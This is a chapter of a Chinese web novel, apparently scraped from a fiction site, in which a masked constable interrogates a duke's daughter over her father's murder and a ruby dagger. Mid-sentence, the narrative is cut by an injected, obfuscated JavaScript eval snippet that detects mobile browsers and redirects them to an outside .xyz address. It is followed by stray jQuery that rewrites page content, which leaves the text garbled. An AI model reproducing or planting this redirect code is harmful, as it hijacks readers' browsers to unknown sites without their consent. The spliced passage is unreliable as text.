苦桉 作品

15. 礼物

梅里特端坐在沙发上,自上而下地俯视她。


他看着那张脸缓缓染上忧伤和泪水,深蓝色的眼眸一眯,掩在面具下的眉头蹙起。


“布莱克公爵为什么宁愿锁上这扇窗户,都不愿意搬走呢?”他摊开手,“毕竟这里发生了这么多难堪的事,换间书房不是更简单迅速吗?”


塔拉莎撩起眼皮看着他,摇了摇头:“哪有这么简单。埃斯珀森家族自获得爵位起,历任公爵的书房都在这,一直传承至今,家族历代所有的机密都藏在这里,哪能因为这么一点小事就擅自废弃,哪怕父亲有这个想法,家族里的长辈也不会同意的,外面的人也会因此嘲笑父亲,父亲怎么可能容许这种事情发生。况且,这间书房是城堡最好的房间,视野很好,当书房再合适不过了。”


梅里特挑眉,淡淡道:“所以公爵就没有换,只是锁了这扇窗子,并且在旁边加了一个通风小窗。”


塔拉莎点点头。


梅里特在心里冷笑一声,十几年前就有人在书房外装神弄鬼,这个布莱克不仅不去调查清楚,还坚定地认为这是亡魂回来报复他,真是可笑。


他抬眼看着正在抹泪的塔拉莎,一瞬不错地盯着她。


他伸手握住扶手,裹在皮质手套里的手指异常灵活地在扶手上点着,发出轻微的声响。


刚开始的动作很缓慢,食指在空中停留很久。


可随着时间的流逝,点击扶手的节奏逐渐加快。


声音很小,但在空旷又宁静的空间里显得格外明显。


塔拉莎低垂的眼睛眸光一凝,借着手帕的遮挡漫不经心地投过去一眼。


紧身的手套包裹住修长手指,一下一下敲击在皮质扶手上,发出轻微的摩擦声和撞击声,从最开始的缓慢到最后的逐渐加快,像人的心跳一样。


人在安静的空间里,在神经极度紧绷的情况下,就越容易受外部声音的影响,细小的声音被房间的空旷极度放大,再添上渐渐加快的节奏,心脏就会忍不住跟上敲击的节奏,在剧烈的心跳声中一脚踏进早已布置好的陷进里。


人在紧张的时候最容易犯错,尤其是被别人带着节奏走的人。


泪珠顺着细腻光滑的皮肤流淌而下,塔拉莎耷拉着眉眼,用手帕在眼角两边各点了几下,安静地等待他接下来的逼供。


梅里特声音一如既往的冰冷,此时却带着些蛊惑的味道:“塔拉莎小姐,接下来这个问题很可能会冒犯到您,希望您不要介意。”


他手上动作不停:“我想知道,为什么贵府的管家一口咬定是您杀死了公爵,我昨晚询问了他,他给了我一定的证据来证明,对此,您怎么看?”


塔拉莎对上他的眼:“是他在污蔑我!”


“哦?那他污蔑您的证据又在哪里呢?查尔斯身为您的管家,从小看着您长大,您说,他为什么要污蔑您呢?”


塔拉莎摇着头,音调逐渐抬高:“我不知道他为什么要污蔑我!他确实看着我长大,我平时也非常尊敬他,他是我除了父亲以外最信任的男人,我不知道为什么会发展成今天这个模样,我也不知道他为什么要搭上自己来污蔑我?”


梅里特的目光紧紧黏在她脸上,不肯放过一丝一毫的变化,他语气上扬:“塔拉莎小姐,您似乎没有听懂我的询问,我向您询问他污蔑您的原因,您并没有回答。”


塔拉莎闻言,猛然坐直身子,呼吸甚至有些急促:“我不回答是因为我真的不知道,如果我知道的话,将这些直接告诉您不是更能洗清我的嫌疑吗?我又不傻,当然不会做对我不利的事情。”


敲击的动作变得更加轻快,梅里特唇角一勾:“当然,塔拉莎小姐,您确实需要好好调查一下查尔斯污蔑您的原因。”


他敛起笑意,话锋一转:“但是,查尔斯在昨晚就给我有关您杀害公爵的证据,虽然存在一些漏洞,但他给了证据来证明他的说辞。而您,塔拉莎小姐,身为这个案件中最可疑的嫌疑人,您认为他污蔑您却拿不出证据来证明,还有,如果我刚才没听错的话,您在刚刚甚至还帮他说话,您说,我该听谁的呢?”


塔拉莎像是被一溜烟的说辞气得说不出话来,只能瞪着眼睛看他,仿佛他是一个颠倒黑白的恶人。


梅里特收回视线,原本还在持续点击的手指停住。


“您至少要给我一个理由让我相信您,刚刚的三个问题都是您亲自回答的,证实这间书房是一个相对封闭的密室,案发当晚除了您和公爵没有任何人进出,这些回答似乎都对您不利,还是说您现在想改口供。”


塔拉莎撇过头,语气倔强:“不改,事实就是这样,怎么改?”


梅里特点了点头,似是赞赏,将一条腿放在另一条腿上,上身微微往后倾,靠在沙发上。


“好,既然您坚持这副说辞,我就放心了。”他右手抬起,伸出两根手指按了按太阳穴,“您不想听听查尔斯先生对您的污蔑吗?”


塔拉莎被气得不轻,侧过身不想看他,语气也变得不再温柔:“哼,这种污蔑有什么好听的,难道是治安官先生觉得我昨晚没听够,所以现在准备接着来羞辱我吗?”


治安官先生摆摆手,说:“当然不是,这怎么是羞辱呢?如果他说的是假的,这些所谓的证据可就变成了他的罪证,您确定不想现在就揪出他的错处吗?这可是您排除嫌疑的好时机。”


话倒是说得好听。


塔拉莎在心里冷哼,不过是想借她来摸清关系并挑出她的漏洞。


面上表情却是一变,从刚刚的愤怒变成试探,像是觉得他说的很对,又碍着面子不好直接转过头来问,只悄悄转过半张脸,漂亮的绿眸带着些小心翼翼和跃跃欲试,像是一只想偷吃东西时在时刻观察主人态度的小猫。


梅里特对上她的眼,心中突然一动,他按捺住那股莫名的异样,主动递过去一个台阶:“您可以先试试,这不在审讯范围内,不会被人记录的。”


翠绿的眼眸悄然睁大,惊喜一闪而过,又被它那矜持扭捏的主人强行镇压下去。


她满满转过身子,用看起来满不在乎的语气说:“也,也不是不行。”


说完,还要补充几句,连敬称都忘记了:“还有,我不是特意给你面子,我只是,只是为了不想被人继续污蔑下去了。”


梅里特眼中划过一点笑意,他点头:“我当然知道。”


他抬头看向窗外,临近正午,光线愈加强烈,他不知道想到了什么:“已经快要正午了,我们节约时间,只


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561631|170452||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


问您一个问题,您觉得怎么样。”


塔拉莎面上点头,心里却有些奇怪,那些卷宗上显示梅里特审理案件时经常会忘记时间,要是嫌犯狡猾,一场审讯甚至能持续整整一天,知道把嫌疑人熬到愿意说真话的时候,才会结束这场审讯,今天怎么会这么反常。


她的目光在他脸上扫过。


还是说,他在这个问题里埋坑了?


就在她满心疑惑的时候,梅里特开口一句话推翻了她先前所有的猜想。


“那把镶着红宝石的匕首——杀害公爵的凶器,是您母亲的吗?为什么查尔斯一看到那把匕首就认定您是凶手。”


塔拉莎有些楞住。


这与她先前设想的完全不同,她原以为他会借此作为审判的接口,然后展开攻势,为此她全神贯注,他却只是抛出一个小问题,就像她准备好与那人对打,那人却轻飘飘地扔过来一团棉花,然后下场了。


塔拉莎眼尾一抬,望向那双蔚蓝深邃如大海的眼睛,试图从中找出一点蛛丝马迹,但实现透不进薄如蝉翼的面具,她只能在外面一点点揣摩。


她脸上带着有些迷茫的表情,垂下眼皮,像是在思索:“应该是的,母亲在我很小的时间就去世了,我不是很清楚她的东西,跟她的感情也不是很深,至于查尔斯,可能是因为他觉得我与母亲的关系很好,觉得我会为了让母亲宽心而杀掉父亲。”


梅里特目光凝在她脸上,问到:“您和夫人的感情不深,那为什么查尔斯会认为您会为了她杀掉公爵呢?”


塔拉莎眉头紧锁,也是十分不解,眼里的怀疑一闪而过,她确实和母亲不是很熟,除了母亲必须出席的聚会,她们甚至都不会碰面。


她猜测:“我也不知道,我和母亲不是很熟悉,可能查尔斯就是把它作为污蔑我的证据,为了污蔑我连逻辑都顾不上了。”


梅里特看着她没说话,传言确实像塔拉莎说的那样,布莱克夫人并不待见她,她们也不熟悉。


那为什么最该清楚这件事的管家查尔斯却说,塔拉莎会为了给夫人报仇去杀害布莱克呢?


这场案件如同一团被弄乱的毛线一样到处都是、杂乱无章,将所有线索钉在一个个看似毫不相干的钉子上。


在场证据指向性十分鲜明,所有线索都齐刷刷地指向同一个人,但相悖的供词又将她衬得无比无辜,她没有任何理由去杀害她的父亲。


原本清晰的案件重新陷入一团乱麻。


梅里特皱起眉头,从沙发上站起身,说:“好了,今天的审讯到此结束,多谢您的积极配合,塔拉莎小姐。”


塔拉莎扬起模式化的标准笑容:“这是我应该做的。”


她也从沙发上起身,抓起裙摆向他行了一个屈膝礼,然后跟着他走向门口。


梅里特走在前面,她在后面不远不近地跟着。


快要走到门口时,在前方男人投下来的巨大阴影里,她突然转头看向那扇窗户,嘴角勾起一个十足诡异阴森的笑容。


又飞快转回去,她抬头看向他高大的身影,毫不掩饰眼里深不见底的暗色。


她张开鲜艳红润的唇,无声地说:“给你留了一个礼物,你一定要快点发现哦——正直善良的治安官先生。”